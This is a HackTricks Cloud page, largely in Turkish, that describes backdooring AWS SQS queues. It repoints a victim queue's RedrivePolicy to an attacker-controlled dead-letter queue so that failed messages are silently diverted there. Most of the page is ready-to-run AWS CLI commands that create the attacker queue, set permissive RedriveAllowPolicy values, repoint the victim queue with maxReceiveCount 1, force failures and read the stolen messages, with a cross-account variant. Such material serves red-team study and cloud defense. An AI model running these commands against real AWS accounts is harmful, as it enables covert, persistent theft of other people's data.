AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Saldırgan kontrolündeki bir kuyruğa RedrivePolicy’yi işaretleyerek, kurban kaynak kuyruğundan verileri gizlice çekmek için SQS Dead-Letter Queues (DLQs) kötüye kullanılabilir. Düşük bir maxReceiveCount ve normal işleme hatalarını tetikleyerek veya bunların oluşmasını bekleyerek, mesajlar üreticileri veya Lambda event source mappings’i değiştirmeden otomatik olarak saldırgan DLQ’sine yönlendirilir.
Abused Permissions
- sqs:SetQueueAttributes kurban kaynak kuyruğu üzerinde (RedrivePolicy ayarlamak için)
- sqs:SetQueueAttributes saldırgan DLQ üzerinde (RedriveAllowPolicy ayarlamak için)
- Hızlandırma için isteğe bağlı: sqs:ReceiveMessage kaynak kuyruk üzerinde
- Kurulum için isteğe bağlı: sqs:CreateQueue, sqs:SendMessage
Same-Account Flow (allowAll)
Preparation (attacker account or compromised principal):
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
Çalıştırma (hedef hesaptaki ele geçirilmiş principal olarak çalıştır):
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
Hızlandırma (isteğe bağlı):
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done
Doğrulama:
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
Örnek kanıt (Öznitelikler arasında DeadLetterQueueSourceArn bulunur):
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}
Hesaplar Arası Varyant (byQueue)
attacker DLQ üzerinde RedriveAllowPolicy’yi yalnızca belirli victim source queue ARNs’ine izin verecek şekilde ayarlayın:
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
Etki
- Kurban SQS kaynak kuyruğundaki başarısız mesajları otomatik olarak saldırgan kontrolündeki DLQ’ye yönlendirerek, minimal operasyonel gürültüyle ve producers veya Lambda eşlemelerinde hiçbir değişiklik yapmadan sinsi, kalıcı veri sızdırma/kalıcılığı sağlar.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

